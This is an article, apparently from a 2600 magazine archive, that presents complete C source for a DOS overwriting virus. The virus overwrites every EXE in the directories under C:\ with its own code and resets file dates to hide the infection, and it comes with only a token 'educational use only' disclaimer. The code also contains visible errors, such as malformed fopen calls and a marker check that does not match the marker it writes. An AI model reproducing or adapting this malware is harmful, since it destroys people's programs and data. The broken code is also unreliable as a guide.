A Simple Virus in C

by Infiltrator

C seems to be the programming language of the 90s.

Its versatility and ability for the same code to be used on different computer platforms are the reasons for this.  So in a brief burst of programming energy I have created this little C virus.  It's a basic overwriting virus that attacks all EXE files in the directories off the main C directory.

The virus spreads itself by overwriting the virus code on top of the victim file.  So the victim file becomes yet another copy of the virus.  So as not to reinfect, the virus places a virus marker at the end of the victim file.  Now I know that this is not the best coding and that it could be improved and refined, but since I'm too lazy to do that you will just have to suffer.

Now the legal stuff: Please do not use this virus to do any harm or destruction, etc., etc.  This virus is for educational use only and all that good stuff.  Have fun!

/* THE SIMPLE OVERWRITING VIRUS */
/*   CREATED BY INFILTRATOR        */
#include <stdio.h>
#include <dir.h>
#include <io.h>
#include <dos.h>
#include <fcntl.h>

/********** VARIABLES FOR THE VIRUS **********/
struct ffblk ffblk, ffblk1, ffblk2;
struct ftime ft;
int done, done1, lfof, marker = 248, count = 0, vsize = 19520, drive;
FILE *victim, *virus, *lf;
char ch, vc, buffer[MAXPATH], vstamp[23] = "HAPPY, HAPPY! JOY, JOY!";
struct ftime getdt();
setdt();                        /* Function prototypes */
dna(int argc, char *argv[]);

/********** MAIN FUNCTION (LOOP) **********/
void main(int argc, char *argv[])
{                               /* Start of main loop */
  dna(argc, argv);              /* Call virus reproduction func */
  getcwd(buffer, MAXPATH);      /* Get current directory */
  drive = getdisk();            /* Get current drive number */
  setdisk(2);                   /* Goto 'C' drive */
  chdir("\\");                  /* Change to root directory */
  done1 = findfirst("*", &ffblk1, FA_DIREC);    /* Get 1 st directory */
  while (!done1) {              /* Start of loop */
    chdir(ffblk1.ff_name);      /* Change to directory */
    if (lf = findfirst("*.exe", &ffblk2, 0) == -1) {    /*No file to infect */
      chdir("\\");              /* Back to root */
      done1 = findnext(&ffblk1);        /* Get next dir */
    } else {                    /* Yes, infectable file found */
      dna(argc, argv);          /* Call reproduction func. */
      chdir("\\");              /* Back to root */
      done1 = findnext(&ffblk1);        /* Next directory */
    }
  }                             /* End loop */
  setdisk(drive);               /* Goto original drive */
  chdir(buffer);                /* Goto original dir */
}                               /* End of virus */

/********** END OF MAIN FUNCTION, START OF OTHER FUNCTIONS **********/
dna(int argc, char *argv[])
{                               /* Virus Tasks Func */
  lfof = findfirst("*.exe", &ffblk, 0); /* Find first '.exe' file */
  while (!done) {
    victim = fopen(ffblk, ff_name, "rb+");      /* Open file */
    fseek(victim, -1, SEEK_END);        /* Go to end, look for marker */
    ch = getc(victim);          /* Get char */
    if (ch == '^') {            /* Is it the marker? YES */
      fclose(victim);           /* Don't Reinfect */
      done = findnext(&ffblk);  /* Go to next '.exe' file */
    } else {                    /* NO...Infect! */
      getdt();                  /* Get file date */
      virus = fopen(argv[0], "rb");     /* Open host program */
      victim = fopen(ffblk, ff_name, "wb");     /* Open file to infect */
      while (count(vsize)) {    /* Copy virus code */
        /* to the victim file */
        vc = getc(virus);       /* This will ovenNrite */
        putc(vc, victim);       /* the file totally */
        count++;                /* End reproduction */
      }
      fprintf(victim, "%s", vstamp);    /* Put on virus stamp, optional */
      fclose(virus);            /* Close Virus */
      fclose(victim);           /* Close Victim */
      victim = fopen(ffblk, ff_name, "ab");     /* Append to victim */
      putc(marker, victim);     /* virus marker char */
      fclose(victim);           /* Close file */
      setdt();                  /* Set file date to original */
      count = 0;                /* Reset file char counter */
      done = findnext(&ffblk);  /* Next file */
    }
  }
}

struct ftime getdt()
{                               /* Get original file date func */
  victim = fopen(ffblk, ff_name, "rb"); /* Open file */
  getftime(fileno(victim), &ft);        /* Get date */
  fclose(victim);               /* Close file */
  return ft;                    /* Return */
}

setdt()
{                               /* Set date to original func */
  victim = fopen(ffblk, ff_name, "rb"); /* Open file */
  setftime(fileno(victim), &ft);        /* Set date */
  fclose(victim);               /* Close file */
  return 0;                     /* Return */
}

Code: simple-virus.c

Return to $2600 Index